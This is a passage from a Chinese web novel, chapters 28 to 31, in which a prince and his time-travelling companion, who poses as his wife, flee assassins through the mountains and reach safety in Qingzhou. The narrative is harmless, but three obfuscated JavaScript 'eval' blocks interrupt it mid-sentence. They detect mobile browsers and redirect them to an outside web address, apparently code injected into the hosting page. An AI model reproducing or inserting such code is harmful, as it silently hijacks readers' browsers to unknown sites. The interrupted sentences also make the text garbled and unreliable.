“啊?慕丫头的相公醒了啊?哎哟,这可太好了,饭做好了,你们都快进来吃饭吧。”赵婶也从屋里探出头来说道。 慕衷情笑容不变,拉了秦澈一把:“是啊,多亏了赵叔那天收留我们,不然我和我相公怕是还没找到姑妈,就要死在路上了。” 秦澈会意,慕衷情这是编了个夫妻俩投奔亲戚的故事? “好,我这几日昏迷,未能亲自向两位道谢,此番救命之恩,必不敢忘。”秦澈起身,朝两人行礼。 赵叔连忙上前阻止:“诶这可就太见外了,我们救你又不是图你什么,你们这些读书人啊就是规矩太多,别说这些了,先吃饭,吃饭最重要。” 慕衷情朝他眨眼笑道:“就是啊,民以食为天,吃饭那可是天大的事。” 赵婶的厨艺很好,平日里她会做些绣品出去卖,赵叔则会木雕,他们的儿女都已成家,搬了出去,平日里他们就靠自己的手艺挣点钱,日子倒也过得还可以。 吃完饭后,赵婶去洗碗,赵叔又挑着扁担出了门,趁着屋内没人,慕衷情连忙和秦澈讲述这几天发生的事情:“那天你在镇外昏迷,我好不容易把你拖到城门口就实在没力气了,幸好遇上赵叔,听说我们是家乡遭了灾,去清州投奔姑母一家,便收留了我们,但是他们家中也并不富有,我只能把你的剑给当了凑药费,你的枪不知道什么时候丢在山上了,我当时也没注意到你什么时候脱力的,你昏迷了五六天了,幸好还是挺过来了。” 说完,慕衷情长舒一口气,这几天她压力大得很,生怕秦澈一口气没过来,那她就真的只能隐姓埋名躲一辈子了。 “哦对了,差点忘了说,我现在叫慕丫头,你叫陆离,别穿帮啊。”慕衷情提醒道。 “慕丫头?”秦澈低头笑了一声,“你可真会取名字。” 慕衷情对他翻了个白眼:“当时情况紧急,记得换名字就不错了,而且这名字听起来挺好养活的。” 说着,慕衷情坐到他旁边,小声问道:“既然你醒了,那这两天你好好想想,我们接下来往哪儿去,我来了这里就一直没敢出去过,就怕你还没醒就把刺客招过来了。” 秦澈也学着她的样子用手遮住嘴巴凑过去压低声音道:“我再休养几日,三日后,我们想办法离开这里。” “你熟悉这里吗?”慕衷情担忧道,“知道怎么离开吗?” “如果我没记错的话,这里离丰州与清州的边界不远,若要绕回之前的大路,再次翻过那座山即可。”秦澈说道。 “我选另一条路。”慕衷情接话接得很快,他知道秦澈肯定还有别的想法。 事实上也是如此。 秦澈:“另一条路,或许有人走过,但它并不算一条路,或许很好走,或许很危险。” “我明白了,又是要翻山越岭呗,没事儿,没有人走过的路,他们未必能想到,不过得抓紧时间,如果他们发现我们一直没走大路,肯定也会想到我们走别的方向,他们人多,搜捕我们应该也不会需要太长时间。”慕衷情托着腮想,“三天太长了,要不你加把油,再过一天我们就出发?” 秦澈深深吸了一口气,缓缓吐出:“好。” 慕衷情一拍他的背:“棒。” 秦澈无奈地摇摇头,他现在除了虚弱点,身上的伤并不要命,再好好休息一天,恢复些体力的确可以离开,而且慕衷情的担忧不无道理,原本他是希望自己恢复得好一些,才能更好地保护慕衷情,但那样一样,被猜到路线或被找到的几率会大大增加。 休养了一天后,慕衷情整理好行囊,又被赵婶塞了一些干粮和衣物后,两人趁着天明,告别赵叔赵婶,从小镇的另一处方向离开。 走之前,慕衷情偷偷将当佩剑剩余下来的钱放到了赵婶的枕头之下。 如果是在从前,慕衷情并不怕爬山,不说体力问题,至少他们那时候都修了台阶啊。 慕衷情一边爬山,一边在心里吐槽,秦澈手里的拐杖早就已经到了她的手里,明明她才是伤势更轻的那个,这让慕衷情有一种自己是累赘的懊恼感。 午时,日头正盛,两人坐在树荫下一起吃干粮,慕衷情狠狠咬着大饼不出声。 耳边没有了往常的热闹,秦澈自然而然地注意到了慕衷情的情绪。 “陪我回清州的路不好走,辛苦你了。”秦澈忽然说道。 “说什么呢?你这么厉害,就算没有我,也不一定会出事。”慕衷情虽然情绪低落,但还是能看得清情势,也没有妄自菲薄,“你不用担心,我就是心情不好,但不会自暴自弃的,就是回清州之后,我得再好好规划一下自己的体能锻炼了。” 慕衷情不是没有经历过失败的人,小时候,她也会责怪自己,长大后她放弃内耗,也放弃责怪任何人,逢山开路遇水搭桥,就是她最后找到的解决困难的终极办法。 就像这具身体太弱,那就锻炼起来,往后不管遇到什么事,至少都能跑得快一点儿。 “喝完水,就走吧。”他们没有休息多久,慕衷情便说道。 秦澈确认她的确状态还行,便从善如流地站起身。 “你到底,是怎么认识路的?我都已经完全走晕了。”慕衷情气喘吁吁地问道,当她累得不行的时候,就会习惯性地和身边的人讲话,以转移自己的注意力。 上陡坡时,秦澈拉了慕衷情一把:“我只是知道清州在哪个方向,日出为东,日落为西,没有太阳时就看树,大多树木更为繁茂的一面为南,由此判断方向。” 慕衷情拉住他的手,用拐杖撑着地,累得直不起腰还忍不住吐槽道:“这我学过,你要是不提起来,我就真还给老师了,诶,你不是最注重礼数了吗?这就舍得拉我手了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12984485|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦澈闻言,略微松劲,他本意只是帮慕衷情一下,但被慕衷情这么一说,好似他不怀好意。 “别紧张,开个玩笑,接下来我可能话会很多,你也不一定要理我,就是我不说话的话,实在是撑不下去。”慕衷情说着,主动松开了他的手,双手撑着拐杖休息片刻,“走吧,你继续带路,我现在已经没有脑子思考了。” 秦澈走几步,便时不时回头看看慕衷情的情况,问道:“你还是别说了,会更累。” 慕衷情朝他摆摆手:“那不行,我得哄哄我自己才能坚持下去。” “我们可能需要在山上呆一晚,如果不下雨的话,明日晚上或许可以进入清州。”亲撤退抬头望天道。 “呸呸呸,不要立flag,不是,不要提前说这种事情,这老天爷就爱跟人开玩笑,你越说它越不如你的意。”慕衷情手撑着腰说道。 秦澈拨开杂草,再次拉了慕衷情一把:“你可还记得我曾说过,要为你取一个字。” “记得,我还没老年痴呆呢,不对,我还没傻呢。”慕衷情一累就爱碎碎念,一碎碎念就总是蹦出些这个时代不该有的词汇,“你别在意,我现在就是胡言乱语。” 秦澈笑着摇摇头,他早就习惯在慕衷情嘴中听到些奇奇怪怪的词了。 “我刚刚想到了一个字,在我看来,很适合你。” 慕衷情抬头望着他,擦了一把头上的汗:“什么?” 她现在依然穿着男装,身上无一丝艳色,皮肤虽然白净,但未施粉黛,未梳云鬓,只有汗水与泥尘。 “轻云。”秦澈的声音很低,却有着他自己也未曾料到的温柔。 慕衷情却没有注意到,反而兴奋得像是考试时押对题的模样:“这题我会,髣髴兮若轻云之蔽月,飘飖兮若流风之回雪。” “对。” “不过我现在好像有点配不上这个名字,我现在双腿重得要死,可恶,爬山也太累了,不行,不能这样想,生命在于运动,对,我是在完成生命的意义,可厉害了对不对。”慕衷情根本分不出脑子去想字的事情。 这时,走在前头的秦澈忽然停下:“要不,我背你一段路吧。” “停止这种不切实际的幻想,给我一点时间,休息一下。”慕衷情靠着树,“一会儿就好。” 慕衷情外表看着文气,骨子里也有自己的倔强,秦澈本就昏迷了这么多天,虚弱得很,慕衷情不可能让一个病人这样照顾自己。 秦澈沉默地望着她,慕衷情闭目养神了一会儿,从1默念到100,然后睁开眼:“走吧。” “能遮光蔽月的,都是云。”秦澈背对着慕衷情边走边说道。 “你这是在夸我吗?这夸奖我收下了,放心,我一定会和你一起回到清州的。”慕衷情蹬了蹬腿,对秦澈为自己想的字接受良好。 “我知道,你能做到。”当秦澈安然醒来的时候,他就已经真正信任慕衷情。 这一次他们的运气没有这么差,成功在天黑之前找到了一个山洞休息。 但哪怕是春夏之交,山中夜晚的温度比起白天也降了许多,为了不暴露位置,他们没有生火取暖。 入夜不知多久,天又开始下雨。 慕衷情抱着自己的包袱冷得有些发抖,她不停看向一旁闭目的秦澈,这家伙好像一点儿都不冷? 秦澈一动不动地靠着岩壁,似乎已经睡着。 慕衷情轻手轻脚地挪过去,她一靠近,秦澈就警觉地睁开了眼。 “王爷,我有个不情之请,希望您能答应。”慕衷情心虚地说。 “只要是我力所能及。”两人现在算是相依为命,秦澈自然不会拒绝她。 慕衷情闭上眼睛,一把抱住秦澈:“这山上也太冷了,王爷就让我取个暖吧,不然再有个失温症状,我可能就得死在这儿了!” 她知道秦澈一直恪守礼数,但她觉得还是命更重要,必要时咱当个流氓也不是不行。 而秦澈,瞬间僵住。 29. 二十九、 天亮时,慕衷情强大的生物钟再次发挥作用,早早醒来。 她靠在秦澈的怀中睡了一晚,还算安稳,就是嗓子有些发痒,没有被子在这山中睡一晚,还是有些勉强了,估计到了清州之后,还是病一场。 但这不是现在该考虑的事情。 醒来之后,慕衷情没有立刻起来,秦澈的手搂着她的肩,只要她一动,秦澈肯定会醒,她只能艰难地稍微挪动腿脚,一晚上保持一个动作,她的腿早就麻了。 然而,她睁开眼睛没多久,就听到秦澈的声音从头顶传来:“醒了?” 慕衷情这才离开秦澈的怀抱,扶着岩壁站起来缓解麻痹的腿:“嗯,醒了,诶,你脸怎么这么红,不会又发烧了吧?” 秦澈闻言,眼神有些飘忽:“没事,可能有些着凉,并无大碍。” 慕衷情没有多想,只说道:“我现在脚麻了,你去拿点干粮来吧,吃完我们就继续走了。” “好。”秦澈打开慕衷情的包袱,里头有些贴身衣物,他又红着脸拿出剩余的干粮,掰了一块饼给慕衷情。 两人离开山洞时,雨已经停了,但下过雨的山路更加泥泞不好走,他们的速度比前一日要慢了不少。 只剩下不到一日的路程,虽然更加疲累,但慕衷情的心情比之昨天要好了不少。 两人走着走着,秦澈忽然停了下来,他蹲下身,贴在地上听了一会儿,连忙对慕衷情招手。 慕衷情不敢怠慢,立刻缩着身子蹲到他身边,用气声问:“怎么了?” “有人。”秦澈无声地回答。 慕衷情立刻捂住自己的嘴,生怕自己的呼吸声都能暴露位置。 秦澈极小声道:“冒犯了。” 说着,他拉住慕衷情的手腕:“跟我走,不要怕,有我在。” 慕衷情用力点头。 秦澈脱掉鞋子,慕衷情看了看地上的碎石和泥土,咬咬牙也脱掉了鞋子,他们将鞋子用腰带挂在拐杖上,而后弯腰慢慢地向前。 很快,慕衷情便听到了杂乱的脚步声,她这个外行都能听出来人数不少。 秦澈特意绕向杂草茂密的方向,两人没有一直走动,无论怎样做,人途径的地方总会有些动静,只要那些家伙没有朝他们的方向来,不动才是最安全的。 日上中天,他们与这群看起来都是普通农户打扮的人周旋许久,虽未被发现,却也耗费了太多时间。 这样下去不是办法,秦澈与慕衷情对视一眼,都在彼此眼中看到了担心。 慕衷情的手稍微动了一下,秦澈便立刻用力抓紧。 她眨眨眼,看着秦澈一脸的不赞同,特想说,她就是保持这个姿势太久了,有点坚持不住而已,不是要自己去引开敌人诶!千万不要脑补太多! 秦澈从地上摸索到两颗石子,等到有人搜索至他们附近时,立刻将石子往不同的方向丢去。 第一颗发出声响时,他们只是警惕地往四周观察,并没有立刻往声音发出的方向追去,等第二颗石子造成的动静随之响起时,几个在四周的刺客都立刻调头飞速跑向石子的方向。 两人又在原地等了一会儿,确认周围所有敌人都被引开,才稍稍冒出点头,而后穿上鞋,快步离开。 现在他们需要的是拼命加速,逃离敌人的搜索范围,为此要牺牲掉一些隐蔽性,毕竟穿鞋肯定比不穿鞋跑得要快,也不容易让脚受伤。 慕衷情努力跟上秦澈的步伐,她开始无比庆幸从前从来没有参加过什么长跑比赛,这种胸闷喉咙疼,满嘴血腥味的感觉实在是不好受。 不知过了多久,他们丝毫不敢休息,终于看到了熟悉的官道。 他们站在山坡上,慕衷情扶着膝盖问道:“是这儿没错吧?错了我可没有下一条命再这么跑了。” 秦澈也累得不轻,不过看起来比慕衷情要好上不少:“是这里,那里看到了吗?是界碑。” 慕衷情终于看到了曙光,差点直接瘫在地上。 然后没等她松一口气,身后忽然传来动静。 “他们在这儿,快来!” 慕衷情回头看了一眼,好家伙这起码有十几个人在朝他们围过来。 “冒犯了。”慕衷情再次听到秦澈说出这句话,而后感到腰间一紧,就被秦澈抱在了怀里。 随之一阵天旋地转,秦澈直接抱着慕衷情从山坡上滚了下去,他用手护住慕衷情的脑袋,停下时,他的脸上和手上都有几道出血的划痕,但慕衷情毫发无伤。 “快跑,他们追过来了!”慕衷情也来不及道声感谢,扶起秦澈就往前跑,几乎已经突破了毕生极限。 界碑的位置设在道路的拐弯处,他们刚绕过弯,就看到界碑旁似乎站着许多人。 他们的身后又传来熟悉的箭矢破空声,就在快要到达界碑时,秦澈再次抱住慕衷情,两人往前翻滚,直接越过了界碑。 “杀!” 随着一个陌生的声音一声令下,那些等在界碑后的人群立刻冲了上去,与那些刺客厮杀起来。 “王爷,你们没事吧?”在一阵嘈杂中,慕衷情感到有人靠近他们,关切地询问。 秦澈松开手,两人相互搀扶着站了起来,慕衷情晃了晃脑袋,刚刚滚了太多圈,脑子还有点晕。 “无妨,都是小伤。”秦澈的声音一如既往地沉静。 慕衷情恢复过来后,看向眼前身形有些单薄的人,她忽然想到了当初自己刚刚女扮男装进入军营的时候,大家看她的怀疑目光。 好家伙,这又是一个女扮男装的? 慕衷情悲伤地发现,这还真是太好认了。 “前几日收到王爷派人送来的消息,我们便一直等在边界,幸好没有错过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003605|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王爷与——”那人不确定地看向慕衷情。 秦澈道:“王妃。” “是,幸好没有错过王爷与王妃,司岳,参见王妃。”司岳自我介绍道。 慕衷情一到安全环境,八卦之心又摁不住了:“司岳?是哪个yue呀?” “秉王妃,是山岳的岳。”司岳恭敬答道。 “不用这么拘谨,这个岳字是你自己改的吗?”慕衷情笑着问道。 “额,是。”司岳坦诚答道,看了秦澈一眼,似乎是认为秦澈告诉了慕衷情些什么。 “改得不错,很有气势。”慕衷情满是欣赏地看着司岳,手臂碰了秦澈一下,“你很开明嘛,只要是人才,无需分男女。” 秦澈没有回答慕衷情的话,因为他忽然一头栽倒在地,昏了过去。 慕衷情吓得立刻扶住他:“我靠,你怎么又晕了?” 她探了探秦澈的额头,比她的手要凉,并没有发烧,她忽然想起他们从山坡上往下滚的时候,她似乎听到秦澈闷哼过一声,难道是那时候撞到头了? “司岳,快帮我一起把王爷带回去,找个大夫来。”慕衷情立刻道。 司岳的反应也很快,立刻叫人抬了担架来。 清王府并不在清州边界处,但为了巡查方便,在清州各地秦澈都有购置别院,司岳就是将他们带到了别院中。 虽然院子不是很大,但好歹也是个安身之处。 慕衷情一直陪在秦澈身边,将人扶到床上后,司岳派人去找大夫,慕衷情则是小心地解开秦澈的束发,轻轻地在发间摸索是否有伤口。 果然如他所料,秦澈撞到了头,脑后处有摸到血迹。 慕衷情的心跳得极快,后脑勺受到撞击可大可小,她只能祈祷脑内千万不要出现血块什么的。 而后,她平定心神,又掀起秦澈的袖子,果然,手上的伤口也不知道什么时候再次崩开,血已经浸透了包扎的布。 慕衷情剪开包扎的布,问司岳:“有外伤的药吗?” 司岳立刻道:“有,我去拿。” 没过多久,司岳拿着药回来,一个士兵一手抱着药箱,一手扛着一个大夫跑了回来。 慕衷情看着这个士兵,觉得有些眼熟,在给大夫让开位置后,问道:“我们是不是在哪里见过?” 那士兵立刻站直,朝慕衷情笑道:“王妃,您忘了,我们前几天还在帮李丰收家收小麦呢。” “啊,是你!”慕衷情想起来了,他们还一起吃过面嘞,“你是什么时候回来的啊?” “之前王爷派我回清州送信,我是提前出发的。” “原来如此。”慕衷情明白了,所以司岳才会一直等在边界处,“你是一个人回来的吗?当时和我们一起收小麦的另一个小兄弟呢?” 年轻的士兵神色忽然黯然下来:“他死了。” 30. 三十、 “当时王爷派我回清州送信,派他去京中送信,昨日有消息传来,他还未至便已被杀死,但是在死之前,他用身上所有的银钱,在入京州后每个途径的州县城镇,找人散布了一些消息。” 他忽然抬手抹了一把眼泪。 “他应该是知道有人要杀他,也猜到自己怕是活不了了,便拆了王爷的信,让人将其中的内容散了出去,现下,就连清州都已经知道王爷为百姓伸冤、分地的事情了。” 慕衷情垂下眼,心中伤感,她还记得那个人是一个很年轻的士兵,皮肤黝黑,个子也不算高,他们一起收小麦,一起吃面,可是她都不知道他的名字,不知道他家在何方。 她看向躺在床上人事不省的秦澈,低声喃喃道:“你可千万不要出事啊,不要辜负那些愿意为你而死的人。” “你知道,他的名字吗?”慕衷情问道,“你的名字呢?” “秉王妃,他叫杨三水,与我是同乡,我叫乔壮。”乔壮答道。 慕衷情抬手拍拍他的肩:“乔壮,你也辛苦了。” 乔壮坚定道:“多谢王妃关心,但是为了王爷,就算是死,我们也绝不会退缩。” 慕衷情沉默,大夫检查了一遍秦澈的伤势,她立刻提醒道:“大夫,他刚刚从山坡上下来时,撞到头了,麻烦您看一下。” 大夫闻言,立刻去摸秦澈的后脑,神情严肃,但很快松了一口气:“应当只是外伤,好好修养一段时间便可。” 说完,慕衷情也松了一口气,而后突然眼前一黑,直接倒在了地上。 司岳和乔壮都被吓了一跳,司岳连忙去扶慕衷情,在碰到她的手时蓦地一顿,而后手背贴上她的额头,被滚烫的热度惊到,立刻对大夫说道:“大夫,王妃发烧了!” 司岳连忙和乔壮一起把慕衷情也扶到了床上,大夫肩上的担子又重了一点。 好在慕衷情只是单纯的着凉发烧,司岳一直守在他们两个身边,除了喂药以外,还不停地用湿布帮慕衷情的额头降温。 或许是太累了,也或许是之前强行压下去的不适都爆发了出来,慕衷情整整烧了一天一夜,热度才退下去。 再次醒来的时候,慕衷情感觉自己好像沉睡了一个世纪,全身酸痛得很,跟以前阳了的感觉也不相上下了。 她稍微动了一下,手臂就碰到了一个温热的身体,慕衷情转头一看,是秦澈。 慕衷情坐起来,人还有些迷糊,看到屋里坐着的司岳,问道:“司岳,王爷有醒过吗?” 司岳正坐着打盹,一听到慕衷情的声音立刻弹了起来:“王妃你醒了!太好了,王爷之前醒过一次,大夫也说了并无大碍,您放心。” 秦澈此时也睁开了眼睛:“我只是伤未痊愈,有复发的迹象,不必担心。” “啊,是不是吵醒你了?”慕衷情伸手掀开了一点被子,说道,“来让我看看,你的伤都愈合得怎么样了,有没有发炎什么的。” 说着,她就要去解秦澈的里衣,秦澈被吓到直接按住她的手,司岳眼珠一转,立刻开溜:“额,我去看一下药煎好了没,王爷王妃好好休息,好好休息。” 慕衷情也没有抽回手,只是不解地问:“怎么了?反正我们名义上就是夫妻,看一下伤口又没事,你也不吃亏啊。” “这不是吃不吃亏的事情。”秦澈眼神飘忽,根本不敢看慕衷情,“你你,你……” “你想说啥啊?哎呀,不要在意那些乱七八糟的了,给我看一下你身上又不会死。”慕衷情不想多废话,直接上手开始解衣带。 秦澈急得半坐起来,两只手都去阻止慕衷情了。 慕衷情眼睛一眯:“非要这么搞是吧?那你就别怪我心狠手辣了!” 说着,慕衷情尝试抽手,然后没抽出来。 她瘪瘪嘴,突然凑到了秦澈的面前,两人的鼻尖几乎就要碰到,呼吸瞬间交缠在一起。 秦澈怔了一秒,像安了弹簧似的往后躲开。 因为中途醒过一次,秦澈特地让司岳帮忙把慕衷情扶到了内侧,自己躺在外面一侧。 结果想撑住床沿让自己的身体一起挪开的秦澈手一空,直接翻到了床下。 慌乱地站起来时,就看到慕衷情没了刚刚调笑的模样,认真道:“算了算了,不跟你闹了,不然待会儿你伤口真的要崩开了,身上不给看,手上的伤总能看一下吧?” 慕衷情一直没忘记自己拔的那支箭,虽说是情况紧急,不得已而为之,但说句实话,她当时心里的确有气,有些报复的意味,现在想想,秦澈还真是能忍,居然能一声不吭。 秦澈低下头,十分利落地卷起袖子,把手伸过去给慕衷情看。 慕衷情叹气,感觉自己好像那个调戏良家妇男的纨绔大小姐,不过她还是下了床,仔细地查看了伤口,秦澈的身体素质还是很好的,伤口被仔细处理过,只要不发炎长脓,痊愈只是时间问题。 “诶,为什么没包扎?”慕衷情看完后忽然意识到这个问题。 “清州时常阴雨连绵,大夫说不能一直包着,只要小心些休养即可。”秦澈立刻放下袖子,解释道。 慕衷情也摸了摸自己的手脚,的确都没包扎,她毫无避嫌的意思,直接卷起袖子和裤腿查看,她的伤多少皮外伤,这会儿都差不多结痂了,只要不特意去碰,也不疼。 检查完后慕衷情一抬头,就看到秦澈不知何时又背过身去了。 慕衷情想,要是哪天她直接传个吊带热裤到秦澈面前晃悠,他是不是得自戳双眼? “哎哟,你等会儿,我先去方便一下,待会儿回来再跟你说。”慕衷情刚开始那兴奋劲儿一过,躺了一天的后遗症立马就感受到了。 她刚要出门,秦澈忽然叫住她:“等等,披着。” 秦澈给她拿了一件披风披上。 慕衷情乖乖地站着等他系好,她倒是不在意这样出去,反正里衣也是衣服,又不是光着出门,不过秦澈都给她披上了,她也没有拒绝秦澈的好意。 她刚打开门,就看到在院子里转悠的司岳,连忙问道:“司岳,你们这儿茅厕在哪儿啊?” 司岳八卦地往屋里望了一眼,就看到秦澈走到门口,立马收回目光,带着慕衷情去茅厕。 “王妃,您和王爷感情真好啊。”司岳忽然感叹道,“真没想到,最后会是您和王爷一起回来。” “还行还行,主要他仗义,没把我丢下。”慕衷情随口说道。 司岳低头一笑:“不止,您也没有丢下王爷,不是吗?” “有道理,你说得有道理,我也仗义。”慕衷情自豪道。 “其实在王爷刚成婚的时候,大家都认为您不会和王爷一起回清州。”司岳道,“可是您不仅回来了,还是在这样的情况下与王爷一起回来的,我想,无论从前的身份如何,至少现在的您和王爷一定是真心相待彼此的。” 慕衷情尴尬地笑笑,没有承认也没有否认,她也不知道秦澈打算怎么和自己的手下解释他们之间的关系,但这个口不能由她来开。 回到房间后,慕衷情就把刚刚司岳说的话告诉了秦澈,问道:“你要对他们保密吗?还是就告诉他们,其实我们是假夫妻?” 秦澈穿上了外袍,给自己和慕衷情分别倒了茶,思索道:“不必言明,顺其自然,否则被有心人传出去,怕是又要有人动什么歪心思。” “好,那我们还是睡一起。”慕衷情坐到他对面,说道。 秦澈一口茶水喷了出来:“咳咳,你,你说话时,咳咳咳,要注意一些言辞。” 慕衷情反应极快地往后仰,躲开了被茶水喷一脸的无妄之灾:“这有什么的?反正你也知道我不是真正的慕府二小姐了,我可懒得演。” “这与你的身份无关。”秦澈无奈道,“你一个姑娘家,不要总说些让人误 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017479|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会的话。” 慕衷情拿出帕子递给他:“擦擦,只要你自己不想歪,不就不会误会了吗?” 秦澈接过帕子,轻声道:“也不要总是做一些会让人误会的事情。” 慕衷情一口喝完杯子里的茶水,假装没听见。 休养了几天之后,秦澈便准备回舟安府,舟安府是清州最繁华的州府,也是清王府所在处,是整个清州最安全的地方。 谁知道姜喧会不会丧心病狂,派人进入清州继续追杀他们,还是小心为上。 待到天晴之日,秦澈等人便离开了清州边界,前往舟安府。 这一路上实在太平,慕衷情都有些不太习惯。 几天后,一行人安稳地到达舟安府,一路上再没遭遇过刺杀。 舟安府,顾名思义,此间水路纵横,渔民众多,便祈求“舟安”。 在京州与丰州待了许久,一到舟安府,慕衷情就感觉空气中都仿佛带着水分,稍微出些汗,一时半会儿还干不了,身上都黏黏的。 秦澈也发现了慕衷情总是拉拉袖子扯扯衣服,便安慰道:“舟安府每年的六七月几乎天天都要下雨,虽不是什么大雨,却也十分潮湿黏腻,路上暂且先忍一忍,等到了王府便可沐浴更衣。” 慕衷情摆摆手:“没事,我知道的,梅雨季节嘛,既然来了就得适应这里的气候。” 进入舟安府后,他们的速度放慢了许多,若是连自己的老巢都不能做到固若金汤,秦澈这个清王也早就不用当了。 在京州时,慕衷情没有机会出去逛,在丰州时,又忙着分地的事情,此刻到了舟安府,见着人来人往的繁华景象,她牵着马好奇地四处张望,时常询问司岳关于舟安府的特色。 秦澈听了一会儿便说道:“司岳,你与乔壮将马牵回府中,我陪衷情四处走一走再回去。” 司岳和乔壮对视一眼,默契地露出意味深长的表情,而后领命离开,一刻都没多待。 他们走后,慕衷情灵魂拷问:“你带钱了吗?” “带了。”秦澈答道,还顺带解下钱袋递给慕衷情,“想买就买吧,这段时日你也辛苦了。” 慕衷情接过钱袋,在手上掂了掂,感慨道:“果然还是要有钱,看来我不仅要琢磨种地的事情,也得琢磨一下挣钱的事。” 秦澈安静地听着,没有说什么王府的钱足够她花的话,直觉告诉他,这说法对慕衷情没用,她的想法,每次都是与众不同的。 然而,这街还没逛起来,慕衷情就感觉眼前忽然闪过什么东西,手上的钱袋就不见了。 秦澈立刻跑了出去,慕衷情还反应了几秒才意识到自己竟然被当街抢钱了! 那小偷身量不高,身手灵活得很,在人群中穿梭来去,明明跑得不算太快,却像泥鳅似的滑溜,愣是抓不到。 “让让,让让,麻烦大家让让,抓小偷啦!有小偷!大家都注意点儿自己的钱!”慕衷情边追边大喊道,街上霎时一片混乱。 “抓到了!”一个脆亮的声音在前方传来。 慕衷情连忙拨开人群走过去,只见一个浑身脏兮兮的乞丐模样的人直接把那小偷按倒在地,拿过钱袋想要交还给他们。 秦澈伸手去接,那人的动作却突然顿住,只见他将自己的头发往后拨了拨,惊喜地喊道:“王爷!是王爷,我终于找到王爷您了!” 他急急忙忙地从破烂的衣服中掏出一块腰牌,单膝跪下抱拳道:“属下孙卫参见王爷。” 孙卫看起来还很年轻,虽然十分狼狈,眼眸却依然明亮,他看向慕衷情:“秉王爷、王妃,孙卫未曾食言,已回到清州。” 慕衷情愣愣地看向秦澈,发现对方也在看着自己,她想起来了,那日在逃离营地之前,她曾与大家有过一个约定——“清州见”。 秦澈朝她点点头,慕衷情上前将孙卫扶了起来 “孙卫,欢迎归队。” 31. 三十一、 “等等,你们别这样!听我的,我是王妃,都抬起头,挺起背,然后往后转身一百八十度,出门,再帮我关上门,谢谢。” 慕衷情抱紧自己,惊恐地对几个婢女说道。 其他时候也就罢了,她实在是受不了别人要帮她洗澡,刚到清王府,已经开始想念最听话的彩珠。 那几个婢女面面相觑,一时都不知道怎么办好。 慕衷情拿过为她准备的衣裳,挥手道:“我说真的啊,我在京城的时候也是这样的,你们放心,就算王爷知道了也不会怪罪你们的,他了解我,我就是这么奇怪一人。” 听到她这么说,几人才犹豫着退出去,关上门后,其中一人立刻去找秦澈禀报情况。 慕衷情松了一口气,这才连忙脱衣服进到木桶里,又是风尘仆仆赶路好几天,身上的衣服早就脏了,幸亏她没洁癖,不然这一路得发疯。 好好地泡了一个澡,换回女装后,慕衷情都有些不太习惯了,这个时代没有吹风机,湿漉漉的头发慕衷情也不想扎起来,便擦干到不再滴水后随意披散着。 长发过腰,慕衷情倒是不觉得多美,就是感到头有点重。 整理完自己后,她出门准备让人把木桶抬走。 结果一打开门,就看到秦澈站在外头,那些婢女都已经不见了踪影。 “嗯?她们人呢?你怎么在这儿呀?”慕衷情拢了拢头发问道。 秦澈走到她面前:“我让她们退下了,这儿是我们的房间,我自然随时可能出现在这里。” 慕衷情打量了他一番,他们在街上遇上孙卫后,周围的百姓们纷纷跪下,慕衷情实在受不了这样的场景,直接拉着秦澈回了王府,随后她便来沐浴更衣,秦澈则是先去安排孙卫的去向。 “我洗好了,那你让他们换一桶热水吧,你也正好沐浴更衣一下,还有,孙卫能一个人要饭回到清州,或许其他人也都在路上,你可以让人多注意着点,都是对你忠心耿耿的人,能找回来一个是一个。”慕衷情侧过身,给秦澈让路。 “嗯,我已吩咐下去在清州边界要道安排接应之人,此番,也辛苦你了。”秦澈温和道,“我已让人去购置衣裙,若是你有喜欢的,跟管家说一声,支取银两后出门购置便可。” “没关系,我不挑衣服。”慕衷情笑道,“这次虽然危险,但我也不是没有收获的,你没发现吗?你已经不怎么在我面前自称本王了。” 秦澈一怔,若有所思道:“原来你在意这个。” 慕衷情解释道:“不是在意,是很高兴你愿意平等地和我交流,以及更加信任我。” “平,等?”秦澈不解。 “这怎么说呢?你应当了解京城的一些情况吧?你有没有见过部分达官显贵喜欢在家中养宠物的?比如狗,猫,鸟之类的。”慕衷情反问道。 秦澈点头:“自然是见过的。” “不平等呢,就是指你在对待别人的时候,并不是把他们当做一个人,随意欺压、逼迫,甚至是剥夺他们的生命,就像对待宠物一样,心情好了赏点吃的,心情不好要么打骂虐待要么直接杀了,这种不平等是最容易分辨的,还有一种,其实就体现在你我之间,你会经常下意识地将我当做一个需要保护的东西,尤其是那天刺杀,你居然直接让我先走,我其实当时很生气,我觉得你不应该替我做决定,无论是生是死,你得尊重我的选择。”慕衷情解释完后,等着秦澈的回答。 